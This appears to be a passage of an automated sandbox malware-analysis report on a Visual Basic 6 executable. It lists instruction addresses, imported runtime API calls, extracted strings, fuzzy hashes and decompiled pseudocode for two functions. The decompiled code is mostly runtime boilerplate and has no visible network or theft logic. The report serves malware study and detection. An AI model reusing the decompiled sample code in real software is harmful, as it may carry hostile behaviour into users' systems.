0x00417bda
0x00417be7
0x00417c04
0x00417be9
0x00417be9
0x00417bee
0x00417bf3
0x00417bf8
0x00417bf8
0x00417c28
0x00417c2c
0x00417c31
0x00417c49
0x00417c4f
0x00417c51
0x00417c5e
0x00417c83
0x00417c60
0x00417c60
0x00417c65
0x00417c6a
0x00417c70
0x00417c76
0x00417c7b
0x00417c7b
0x00417c8d
0x00417c93
0x00417c9d
0x00417ca0
0x00417ca7
0x00417caa
0x00417cab
0x00417cb3
0x00417cbb
0x00417cbb
0x00417cc8
0x00417ccd
0x00417ccf
0x00417cd2
0x00417cdc
0x00417ce1
0x00417ce2
0x00417ce7
0x00417cee
0x00417cf4
0x00417cfe
0x00417d0c
0x00417d19
0x00417d36
0x00417d1b
0x00417d1b
0x00417d20
0x00417d25
0x00417d2a
0x00417d2a
0x00417d5a
0x00417d5e
0x00417d63
0x00417d7b
0x00417d81
0x00417d83
0x00417d90
0x00417db5
0x00417d92
0x00417d92
0x00417d97
0x00417d9c
0x00417da2
0x00417da8
0x00417dad
0x00417dad
0x00417dc3
0x00417de0
0x00417dc5
0x00417dc5
0x00417dca
0x00417dcf
0x00417dd4
0x00417dd4
0x00417e04
0x00417e08
0x00417e0d
0x00417e25
0x00417e2b
0x00417e2d
0x00417e3a
0x00417e5f
0x00417e3c
0x00417e3c
0x00417e41
0x00417e46
0x00417e4c
0x00417e52
0x00417e57
0x00417e57
0x00417e6d
0x00417e8a
0x00417e6f
0x00417e6f
0x00417e74
0x00417e79
0x00417e7e
0x00417e7e
0x00417eae
0x00417eb2
0x00417eb7
0x00417ed2
0x00417ed5
0x00417ed7
0x00417ee4
0x00417f06
0x00417ee6
0x00417ee6
0x00417ee8
0x00417eed
0x00417ef3
0x00417ef9
0x00417efe
0x00417efe
0x00417f14
0x00417f31
0x00417f16
0x00417f16
0x00417f1b
0x00417f20
0x00417f25
0x00417f25
0x00417f3b
0x00417f43
0x00417f4f
0x00417f55
0x00417f5f
0x00417f66
0x00417f70
0x00417f77
0x00417f81
0x00417f87
0x00417f91
0x00417f94
0x00417f9e
0x00417fa4
0x00417fae
0x00417fb1
0x00417fbf
0x00417fcc
0x00417fcd
0x00417fce
0x00417fcf
0x00417fd3
0x00417fe0
0x00417fe1
0x00417fe2
0x00417fe3
0x00417fe7
0x00417ff1
0x00417ff2
0x00417ff3
0x00417ff4
0x00417ff8
0x00418002
0x00418003
0x00418004
0x00418005
0x00418009
0x00418013
0x00418014
0x00418015
0x00418016
0x00418025
0x00418028
0x0041802a
0x00418037
0x00418059
0x00418039
0x00418039
0x0041803b
0x00418040
0x00418046
0x0041804c
0x00418051
0x00418051
0x00418063
0x00418069
0x00418073
0x00418076
0x0041807d
0x00418080
0x0041808a
0x0041808b
0x0041808c
0x0041808d
0x0041808e
0x00418090
0x00418093
0x0041809b
0x0041809f
0x004180a3
0x004180a4
0x004180a6
0x004180b1
0x004180b5
0x004180b9
0x004180ba
0x004180bc
0x004180c1
0x004180cb
0x004180e8
0x004180cd
0x004180cd
0x004180d2
0x004180d7
0x004180dc
0x004180dc
0x0041810c
0x00418110
0x00418115
0x00418130
0x00418136
0x00418138
0x00418145
0x0041816a
0x00418147
0x00418147
0x0041814c
0x00418151
0x00418157
0x0041815d
0x00418162
0x00418162
0x00418171
0x00418178
0x0041817f
0x00418184
0x00418185
0x004181cc
0x004181d4
0x004181dc
0x004181e1

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00417BA4
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00417BBC
__vbaCyStr.MSVBVM60(00403640,?,?,?,?,004014D6), ref: 00417BC6
__vbaFpCmpCy.MSVBVM60(00000000,?,00403640,?,?,?,?,004014D6), ref: 00417BD3
__vbaNew2.MSVBVM60(00401EF4,00423010,00000000,?,00403640,?,?,?,?,004014D6), ref: 00417BF3
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417C2C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,000001E0), ref: 00417C76
#529.MSVBVM60(00000008), ref: 00417CAB
__vbaFreeObj.MSVBVM60(00000008), ref: 00417CB3
__vbaFreeVar.MSVBVM60(00000008), ref: 00417CBB
__vbaStrCopy.MSVBVM60(00000000,?,00403640,?,?,?,?,004014D6), ref: 00417CC8
#514.MSVBVM60(?,00000002,00000000,?,00403640,?,?,?,?,004014D6), ref: 00417CD2
__vbaStrMove.MSVBVM60(?,00000002,00000000,?,00403640,?,?,?,?,004014D6), ref: 00417CDC
__vbaStrCmp.MSVBVM60(00403680,00000000,?,00000002,00000000,?,00403640,?,?,?,?,004014D6), ref: 00417CE7
__vbaFreeStr.MSVBVM60(00403680,00000000,?,00000002,00000000,?,00403640,?,?,?,?,004014D6), ref: 00417CFE
__vbaNew2.MSVBVM60(00401EF4,00423010,00403680,00000000,?,00000002,00000000,?,00403640,?,?,?,?,004014D6), ref: 00417D25
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417D5E
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000238), ref: 00417DA8
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 00417DCF
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417E08
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031E0,00000140), ref: 00417E52
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 00417E79
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417EB2
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031E0,00000060), ref: 00417EF9
__vbaNew2.MSVBVM60(0040319C,00423420), ref: 00417F20
__vbaChkstk.MSVBVM60(?), ref: 00417FBF
__vbaChkstk.MSVBVM60(?), ref: 00417FD3
__vbaChkstk.MSVBVM60(?), ref: 00417FE7
__vbaChkstk.MSVBVM60(?), ref: 00417FF8
__vbaChkstk.MSVBVM60(?), ref: 00418009
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000044), ref: 0041804C
__vbaChkstk.MSVBVM60(00000000,?,0040318C,00000044), ref: 00418080
__vbaLateIdSt.MSVBVM60(?,00000000), ref: 00418093
__vbaFreeObjList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 004180A6
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 004180BC
__vbaNew2.MSVBVM60(00401EF4,00423010,00403680,00000000,?,00000002,00000000,?,00403640,?,?,?,?,004014D6), ref: 004180D7
__vbaObjSet.MSVBVM60(?,00000000), ref: 00418110
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,000001C8), ref: 0041815D
__vbaFreeObj.MSVBVM60(00000000,?,004031C0,000001C8), ref: 0041817F
__vbaFreeObj.MSVBVM60(004181E2), ref: 004181CC
__vbaFreeStr.MSVBVM60(004181E2), ref: 004181D4
__vbaFreeStr.MSVBVM60(004181E2), ref: 004181DC

Strings

var, xrefs: 00417CC0
4B, xrefs: 00417F3B

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Chkstk$CheckHresultNew2$CopyList$#514#529LateMove
String ID: 4B$var
API String ID: 800310293-1388891661
Opcode ID: a010b481cde8d45adb0e2baa2a9d7f011b145522a651c0558dadee31e5136630
Instruction ID: 7890498afc7bac4fcdb6050b6cb77f99c01b814ae07980c8b5552aec6b20024c
Opcode Fuzzy Hash: a010b481cde8d45adb0e2baa2a9d7f011b145522a651c0558dadee31e5136630
Instruction Fuzzy Hash: BB0226709002289FDB21DF90CC45BDDB7B5BF08304F1044AAE509BB2A1DBBA5A85DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00420FB6, Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00420FB6(void* __ebx, void* __edi, void* __esi, signed long long __fp0, intOrPtr* _a4, void* _a16, void* _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				void* _v36;
				long long _v44;
				intOrPtr _v48;
				char _v52;
				char _v56;
				char _v72;
				char _v88;
				intOrPtr _v112;
				intOrPtr _v120;
				intOrPtr _v128;
				char _v136;
				char _v140;
				void* _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				char _v168;
				signed int _v172;
				signed int _v176;
				intOrPtr* _v180;
				signed int _v184;
				signed long long _v192;
				signed long long _v196;
				signed int _v200;
				intOrPtr* _v204;
				signed int _v208;
				short _t144;
				short _t153;
				char* _t160;
				signed int _t164;
				char* _t168;
				signed int _t172;
				signed int _t175;
				signed int _t181;
				void* _t183;
				char* _t184;
				signed int _t187;
				intOrPtr _t207;
				void* _t220;
				void* _t222;
				intOrPtr _t223;
				void* _t224;
				intOrPtr* _t225;
				signed long long _t236;

				_t236 = __fp0;
				_t223 = _t222 - 0xc;
				 *[fs:0x0] = _t223;
				L004014D0();
				_v16 = _t223;
				_v12 = 0x401490;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014d6, _t220);
				L0040168C();
				L0040168C();
				_v112 = 0x403160;
				_v120 = 8;
				L00401632();
				_push( &_v72);
				_push( &_v88);
				L00401578();
				_v128 = 0x403168;
				_v136 = 0x8008;
				_push( &_v88);
				_t144 =  &_v136;
				_push(_t144);
				L004015EA();
				_v144 = _t144;
				_push( &_v88);
				_push( &_v72);
				_push(2);
				L0040161A();
				_t224 = _t223 + 0xc;
				if(_v144 != 0) {
					if( *0x423420 != 0) {
						_v168 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v168 = 0x423420;
					}
					_t27 =  &_v168; // 0x423420
					_v144 =  *((intOrPtr*)( *_t27));
					_t181 =  *((intOrPtr*)( *_v144 + 0x1c))(_v144,  &_v52);
					asm("fclex");
					_v148 = _t181;
					if(_v148 >= 0) {
						_v172 = _v172 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x40318c);
						_push(_v144);
						_push(_v148);
						L004016CE();
						_v172 = _t181;
					}
					_v152 = _v52;
					_v112 = 1;
					_v120 = 2;
					_t183 = 0x10;
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L0040167A();
					_t184 =  &_v56;
					L004016B6();
					_t187 =  *((intOrPtr*)( *_v152 + 0x58))(_v152, _t184, _t184, _t183, _v48, 0x403448);
					asm("fclex");
					_v156 = _t187;
					if(_v156 >= 0) {
						_v176 = _v176 & 0x00000000;
					} else {
						_push(0x58);
						_push(0x403458);
						_push(_v152);
						_push(_v156);
						L004016CE();
						_v176 = _t187;
					}
					_push( &_v52);
					_push( &_v56);
					_push(2);
					L004016B0();
					_t224 = _t224 + 0xc;
				}
				_push(1);
				_push(1);
				_push(1);
				_push( &_v72);
				L00401572();
				_push( &_v72);
				L004016C2();
				L004016E0();
				L004016AA();
				_v112 = 0x403568;
				_v120 = 8;
				L00401632();
				_push( &_v72);
				_push( &_v88);
				L0040156C();
				_v128 = 0x403570;
				_v136 = 0x8008;
				_push( &_v88);
				_t153 =  &_v136;
				_push(_t153);
				L004015EA();
				_v144 = _t153;
				_push( &_v88);
				_push( &_v72);
				_push(2);
				L0040161A();
				_t225 = _t224 + 0xc;
				if(_v144 != 0) {
					if( *0x423010 != 0) {
						_v180 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v180 = 0x423010;
					}
					_t207 =  *((intOrPtr*)( *_v180));
					_t168 =  &_v52;
					L004016B6();
					_v144 = _t168;
					_t172 =  *((intOrPtr*)( *_v144 + 0x58))(_v144,  &_v140, _t168,  *((intOrPtr*)(_t207 + 0x310))( *_v180));
					asm("fclex");
					_v148 = _t172;
					if(_v148 >= 0) {
						_v184 = _v184 & 0x00000000;
					} else {
						_push(0x58);
						_push(0x4031c0);
						_push(_v144);
						_push(_v148);
						L004016CE();
						_v184 = _t172;
					}
					asm("fild dword [ebp-0x88]");
					_v192 = _t236;
					_v196 = _v192 *  *0x401488;
					 *_t225 = _v196;
					_t175 =  *((intOrPtr*)( *_a4 + 0x84))(_a4, _t207);
					asm("fclex");
					_v152 = _t175;
					if(_v152 >= 0) {
						_v200 = _v200 & 0x00000000;
					} else {
						_push(0x84);
						_push(0x402884);
						_push(_a4);
						_push(_v152);
						L004016CE();
						_v200 = _t175;
					}
					L0040169E();
				}
				if( *0x423010 != 0) {
					_v204 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v204 = 0x423010;
				}
				_t160 =  &_v52;
				L004016B6();
				_v144 = _t160;
				_v112 = 0x80020004;
				_v120 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t164 =  *((intOrPtr*)( *_v144 + 0x1ec))(_v144, L"Snoopiest1", 0x10, _t160,  *((intOrPtr*)( *((intOrPtr*)( *_v204)) + 0x2fc))( *_v204));
				asm("fclex");
				_v148 = _t164;
				if(_v148 >= 0) {
					_v208 = _v208 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x4031d0);
					_push(_v144);
					_push(_v148);
					L004016CE();
					_v208 = _t164;
				}
				L0040169E();
				_v44 =  *0x401480;
				asm("wait");
				_push(0x421484);
				L004016D4();
				L004016D4();
				L004016D4();
				L0040169E();
				return _t164;
			}

0x00420fb6
0x00420fb9
0x00420fc8
0x00420fd4
0x00420fdc
0x00420fdf
0x00420fe6
0x00420ff5
0x00420ffe
0x00421009
0x0042100e
0x00421015
0x00421022
0x0042102a
0x0042102e
0x0042102f
0x00421034
0x0042103b
0x00421048
0x00421049
0x0042104f
0x00421050
0x00421055
0x0042105f
0x00421063
0x00421064
0x00421066
0x0042106b
0x00421077
0x00421084
0x004210a1
0x00421086
0x00421086
0x0042108b
0x00421090
0x00421095
0x00421095
0x004210ab
0x004210b3
0x004210cb
0x004210ce
0x004210d0
0x004210dd
0x004210ff
0x004210df
0x004210df
0x004210e1
0x004210e6
0x004210ec
0x004210f2
0x004210f7
0x004210f7
0x00421109
0x0042110f
0x00421116
0x0042111f
0x00421120
0x0042112a
0x0042112b
0x0042112c
0x0042112d
0x00421136
0x0042113c
0x00421140
0x00421154
0x00421157
0x00421159
0x00421166
0x00421188
0x00421168
0x00421168
0x0042116a
0x0042116f
0x00421175
0x0042117b
0x00421180
0x00421180
0x00421192
0x00421196
0x00421197
0x00421199
0x0042119e
0x0042119e
0x004211a1
0x004211a3
0x004211a5
0x004211aa
0x004211ab
0x004211b3
0x004211b4
0x004211be
0x004211c6
0x004211cb
0x004211d2
0x004211df
0x004211e7
0x004211eb
0x004211ec
0x004211f1
0x004211f8
0x00421205
0x00421206
0x0042120c
0x0042120d
0x00421212
0x0042121c
0x00421220
0x00421221
0x00421223
0x00421228
0x00421234
0x00421241
0x0042125e
0x00421243
0x00421243
0x00421248
0x0042124d
0x00421252
0x00421252
0x00421278
0x00421282
0x00421286
0x0042128b
0x004212a6
0x004212a9
0x004212ab
0x004212b8
0x004212da
0x004212ba
0x004212ba
0x004212bc
0x004212c1
0x004212c7
0x004212cd
0x004212d2
0x004212d2
0x004212e1
0x004212e7
0x004212f9
0x00421306
0x00421311
0x00421317
0x00421319
0x00421326
0x00421348
0x00421328
0x00421328
0x0042132d
0x00421332
0x00421335
0x0042133b
0x00421340
0x00421340
0x00421352
0x00421352
0x0042135e
0x0042137b
0x00421360
0x00421360
0x00421365
0x0042136a
0x0042136f
0x0042136f
0x0042139f
0x004213a3
0x004213a8
0x004213ae
0x004213b5
0x004213bf
0x004213c9
0x004213ca
0x004213cb
0x004213cc
0x004213e0
0x004213e6
0x004213e8
0x004213f5
0x0042141a
0x004213f7
0x004213f7
0x004213fc
0x00421401
0x00421407
0x0042140d
0x00421412
0x00421412
0x00421424
0x0042142f
0x00421432
0x00421433
0x00421466
0x0042146e
0x00421476
0x0042147e
0x00421483

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00420FD4
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00420FFE
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00421009
__vbaVarDup.MSVBVM60 ref: 00421022
#528.MSVBVM60(?,?), ref: 0042102F
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?), ref: 00421050
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,?,?), ref: 00421066
__vbaNew2.MSVBVM60(0040319C,00423420,?,?,004014D6), ref: 00421090
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,0000001C), ref: 004210F2
__vbaChkstk.MSVBVM60(00000000,?,0040318C,0000001C), ref: 00421120
__vbaCastObj.MSVBVM60(?,00403448), ref: 00421136
__vbaObjSet.MSVBVM60(?,00000000,?,00403448), ref: 00421140
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403458,00000058), ref: 0042117B
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00421199
#539.MSVBVM60(?,00000001,00000001,00000001,?,?,004014D6), ref: 004211AB
__vbaStrVarMove.MSVBVM60(?,?,00000001,00000001,00000001,?,?,004014D6), ref: 004211B4
__vbaStrMove.MSVBVM60(?,?,00000001,00000001,00000001,?,?,004014D6), ref: 004211BE
__vbaFreeVar.MSVBVM60(?,?,00000001,00000001,00000001,?,?,004014D6), ref: 004211C6
__vbaVarDup.MSVBVM60 ref: 004211DF
#518.MSVBVM60(?,?), ref: 004211EC
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?), ref: 0042120D
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,?,?), ref: 00421223
__vbaNew2.MSVBVM60(00401EF4,00423010,00000001,00000001,00000001,?,?,004014D6), ref: 0042124D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00421286
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000058), ref: 004212CD
__vbaHresultCheckObj.MSVBVM60(00000000,00401490,00402884,00000084), ref: 0042133B
__vbaFreeObj.MSVBVM60(00000000,00401490,00402884,00000084), ref: 00421352
__vbaNew2.MSVBVM60(00401EF4,00423010,00000001,00000001,00000001,?,?,004014D6), ref: 0042136A
__vbaObjSet.MSVBVM60(?,00000000), ref: 004213A3
__vbaChkstk.MSVBVM60(?,00000000), ref: 004213BF
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031D0,000001EC), ref: 0042140D
__vbaFreeObj.MSVBVM60(00000000,?,004031D0,000001EC), ref: 00421424
__vbaFreeStr.MSVBVM60(00421484), ref: 00421466
__vbaFreeStr.MSVBVM60(00421484), ref: 0042146E
__vbaFreeStr.MSVBVM60(00421484), ref: 00421476
__vbaFreeObj.MSVBVM60(00421484), ref: 0042147E

Strings

Snoopiest1, xrefs: 004213CD
4B, xrefs: 004210AB

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$ChkstkListNew2$CopyMove$#518#528#539Cast
String ID: 4B$Snoopiest1
API String ID: 604490641-1551355895
Opcode ID: 232c150e3703bb7610b7778fa67c7462ea8e7bacb1ab063961629bb1a371784a
Instruction ID: 786199070b8613962c38a5c8a7699778e57ef9e3ac50e3756df5667eb5f99490
Opcode Fuzzy Hash: 232c150e3703bb7610b7778fa67c7462ea8e7bacb1ab063961629bb1a371784a
Instruction Fuzzy Hash: 54D11970A00228EFDB20DFA1DC45FDDB7B9BB04304F5084AAE149B71A1DB795A85CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0041758F, Relevance: 65.1, APIs: 34, Strings: 3, Instructions: 344
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0041758F(void* __ebx, void* __edi, void* __esi, void* __eflags, long long __fp0, intOrPtr* _a4, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				long long _v36;
				short _v40;
				void* _v44;
				signed int _v48;
				char _v52;
				intOrPtr _v60;
				char _v68;
				char* _v76;
				char _v84;
				char _v100;
				char* _v124;
				intOrPtr _v132;
				intOrPtr _v156;
				char _v164;
				void* _v168;
				char _v172;
				void* _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v200;
				char _v204;
				signed int _v208;
				signed int _v212;
				intOrPtr* _v216;
				signed int _v220;
				char* _v224;
				intOrPtr _v228;
				signed int _v232;
				char _v236;
				signed int _v240;
				intOrPtr* _v244;
				signed int _v248;
				signed int _t168;
				signed int _t173;
				short _t179;
				short _t188;
				char* _t196;
				signed int _t200;
				signed int _t206;
				char* _t211;
				signed int _t215;
				signed int _t218;
				intOrPtr _t233;
				void* _t245;
				void* _t247;
				intOrPtr _t248;
				intOrPtr* _t249;
				signed long long _t269;
				intOrPtr _t274;

				_t248 = _t247 - 0xc;
				 *[fs:0x0] = _t248;
				L004014D0();
				_v16 = _t248;
				_v12 = 0x4013a8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014d6, _t245);
				L0040168C();
				_push(0x403640);
				L004015D2();
				asm("fcomp qword [0x4013a0]");
				asm("fnstsw ax");
				asm("sahf");
				if(__eflags != 0) {
					_v124 = L"RADIATION";
					_v132 = 8;
					L00401632();
					_push(2);
					_push( &_v68);
					L0040164A();
					_v36 = __fp0;
					L004016AA();
				}
				if( *0x423420 != 0) {
					_v204 = 0x423420;
				} else {
					_push(0x423420);
					_push(0x40319c);
					L004016C8();
					_v204 = 0x423420;
				}
				_t18 =  &_v204; // 0x423420
				_v176 =  *((intOrPtr*)( *_t18));
				_t168 =  *((intOrPtr*)( *_v176 + 0x14))(_v176,  &_v52);
				asm("fclex");
				_v180 = _t168;
				if(_v180 >= 0) {
					_t29 =  &_v208;
					 *_t29 = _v208 & 0x00000000;
					__eflags =  *_t29;
				} else {
					_push(0x14);
					_push(0x40318c);
					_push(_v176);
					_push(_v180);
					L004016CE();
					_v208 = _t168;
				}
				_v184 = _v52;
				_t173 =  *((intOrPtr*)( *_v184 + 0x140))(_v184,  &_v168);
				asm("fclex");
				_v188 = _t173;
				if(_v188 >= 0) {
					_t42 =  &_v212;
					 *_t42 = _v212 & 0x00000000;
					__eflags =  *_t42;
				} else {
					_push(0x140);
					_push(0x403468);
					_push(_v184);
					_push(_v188);
					L004016CE();
					_v212 = _t173;
				}
				_v40 = _v168;
				L0040169E();
				_v76 = 0x80020004;
				_v84 = 0xa;
				_v60 = 0xc;
				_v68 = 2;
				_push(1);
				_push(1);
				_push( &_v84);
				_push( &_v68);
				_push( &_v100);
				L004015CC();
				_v156 = 0xc;
				_v164 = 0x8002;
				_push( &_v100);
				_t179 =  &_v164;
				_push(_t179);
				L004015EA();
				_v176 = _t179;
				_push( &_v100);
				_push( &_v84);
				_push( &_v68);
				_push(3);
				L0040161A();
				_t249 = _t248 + 0x10;
				if(_v176 != 0) {
					if( *0x423010 != 0) {
						_v216 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v216 = 0x423010;
					}
					_t233 =  *((intOrPtr*)( *_v216));
					_t211 =  &_v52;
					L004016B6();
					_v176 = _t211;
					_t215 =  *((intOrPtr*)( *_v176 + 0x198))(_v176,  &_v172, _t211,  *((intOrPtr*)(_t233 + 0x300))( *_v216));
					asm("fclex");
					_v180 = _t215;
					if(_v180 >= 0) {
						_t79 =  &_v220;
						 *_t79 = _v220 & 0x00000000;
						__eflags =  *_t79;
					} else {
						_push(0x198);
						_push(0x40316c);
						_push(_v176);
						_push(_v180);
						L004016CE();
						_v220 = _t215;
					}
					_push(_t233);
					 *_t249 =  *0x401398;
					_t269 =  *0x401390 *  *0x401388;
					if( *0x423000 != 0) {
						_push( *0x4013a4);
						_push( *0x4013a0);
						L004014F4();
					} else {
						_t269 = _t269 /  *0x4013a0;
					}
					_v224 = _t269;
					_v124 = _v224;
					 *_t249 =  *0x401380;
					L00401620();
					 *_t249 =  *0x401374;
					_t274 =  *0x401370;
					 *_t249 = _t274;
					asm("fild dword [ebp-0xa8]");
					_v228 = _t274;
					 *_t249 = _v228;
					_t218 =  *((intOrPtr*)( *_a4 + 0x2c0))(_a4, 0x1c2, _t233, _t233, _t233, _t215, _t233, _t233);
					asm("fclex");
					_v184 = _t218;
					if(_v184 >= 0) {
						_t93 =  &_v232;
						 *_t93 = _v232 & 0x00000000;
						__eflags =  *_t93;
					} else {
						_push(0x2c0);
						_push(0x402884);
						_push(_a4);
						_push(_v184);
						L004016CE();
						_v232 = _t218;
					}
					L0040169E();
				}
				_v76 = 1;
				_v84 = 2;
				_v124 = 0x403660;
				_v132 = 8;
				L00401632();
				_push( &_v84);
				_push(2);
				_push( &_v68);
				_push( &_v100);
				L004015C6();
				_v156 = 0x40366c;
				_v164 = 0x8008;
				_push( &_v100);
				_t188 =  &_v164;
				_push(_t188);
				L004015EA();
				_v176 = _t188;
				_push( &_v100);
				_push( &_v84);
				_push( &_v68);
				_push(3);
				L0040161A();
				if(_v176 != 0) {
					if( *0x423420 != 0) {
						_v236 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v236 = 0x423420;
					}
					_t116 =  &_v236; // 0x423420
					_v176 =  *((intOrPtr*)( *_t116));
					_t206 =  *((intOrPtr*)( *_v176 + 0x48))(_v176, 0xdc,  &_v48);
					asm("fclex");
					_v180 = _t206;
					if(_v180 >= 0) {
						_t127 =  &_v240;
						 *_t127 = _v240 & 0x00000000;
						__eflags =  *_t127;
					} else {
						_push(0x48);
						_push(0x40318c);
						_push(_v176);
						_push(_v180);
						L004016CE();
						_v240 = _t206;
					}
					_v200 = _v48;
					_v48 = _v48 & 0x00000000;
					L004016E0();
				}
				if( *0x423010 != 0) {
					_v244 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v244 = 0x423010;
				}
				_t196 =  &_v52;
				L004016B6();
				_v176 = _t196;
				_v124 = 1;
				_v132 = 2;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t200 =  *((intOrPtr*)( *_v176 + 0x228))(_v176, 0x10, _t196,  *((intOrPtr*)( *((intOrPtr*)( *_v244)) + 0x310))( *_v244));
				asm("fclex");
				_v180 = _t200;
				if(_v180 >= 0) {
					_t153 =  &_v248;
					 *_t153 = _v248 & 0x00000000;
					__eflags =  *_t153;
				} else {
					_push(0x228);
					_push(0x4031c0);
					_push(_v176);
					_push(_v180);
					L004016CE();
					_v248 = _t200;
				}
				L0040169E();
				asm("wait");
				_push(0x417b68);
				L004016D4();
				L004016D4();
				return _t200;
			}

0x00417592
0x004175a1
0x004175ad
0x004175b5
0x004175b8
0x004175bf
0x004175ce
0x004175d7
0x004175dc
0x004175e1
0x004175e6
0x004175ec
0x004175ee
0x004175ef
0x004175f1
0x004175f8
0x00417605
0x0041760a
0x0041760f
0x00417610
0x00417615
0x0041761b
0x0041761b
0x00417627
0x00417644
0x00417629
0x00417629
0x0041762e
0x00417633
0x00417638
0x00417638
0x0041764e
0x00417656
0x0041766e
0x00417671
0x00417673
0x00417680
0x004176a2
0x004176a2
0x004176a2
0x00417682
0x00417682
0x00417684
0x00417689
0x0041768f
0x00417695
0x0041769a
0x0041769a
0x004176ac
0x004176c7
0x004176cd
0x004176cf
0x004176dc
0x00417701
0x00417701
0x00417701
0x004176de
0x004176de
0x004176e3
0x004176e8
0x004176ee
0x004176f4
0x004176f9
0x004176f9
0x0041770f
0x00417716
0x0041771b
0x00417722
0x00417729
0x00417730
0x00417737
0x00417739
0x0041773e
0x00417742
0x00417746
0x00417747
0x0041774c
0x00417756
0x00417763
0x00417764
0x0041776a
0x0041776b
0x00417770
0x0041777a
0x0041777e
0x00417782
0x00417783
0x00417785
0x0041778a
0x00417796
0x004177a3
0x004177c0
0x004177a5
0x004177a5
0x004177aa
0x004177af
0x004177b4
0x004177b4
0x004177da
0x004177e4
0x004177e8
0x004177ed
0x00417808
0x0041780e
0x00417810
0x0041781d
0x00417842
0x00417842
0x00417842
0x0041781f
0x0041781f
0x00417824
0x00417829
0x0041782f
0x00417835
0x0041783a
0x0041783a
0x0041784f
0x00417850
0x00417859
0x00417866
0x00417870
0x00417876
0x0041787c
0x00417868
0x00417868
0x00417868
0x00417881
0x0041788e
0x00417898
0x004178a1
0x004178ae
0x004178b1
0x004178b8
0x004178bb
0x004178c1
0x004178ce
0x004178de
0x004178e4
0x004178e6
0x004178f3
0x00417915
0x00417915
0x00417915
0x004178f5
0x004178f5
0x004178fa
0x004178ff
0x00417902
0x00417908
0x0041790d
0x0041790d
0x0041791f
0x0041791f
0x00417924
0x0041792b
0x00417932
0x00417939
0x00417946
0x0041794e
0x0041794f
0x00417954
0x00417958
0x00417959
0x0041795e
0x00417968
0x00417975
0x00417976
0x0041797c
0x0041797d
0x00417982
0x0041798c
0x00417990
0x00417994
0x00417995
0x00417997
0x004179a8
0x004179b5
0x004179d2
0x004179b7
0x004179b7
0x004179bc
0x004179c1
0x004179c6
0x004179c6
0x004179dc
0x004179e4
0x00417a01
0x00417a04
0x00417a06
0x00417a13
0x00417a35
0x00417a35
0x00417a35
0x00417a15
0x00417a15
0x00417a17
0x00417a1c
0x00417a22
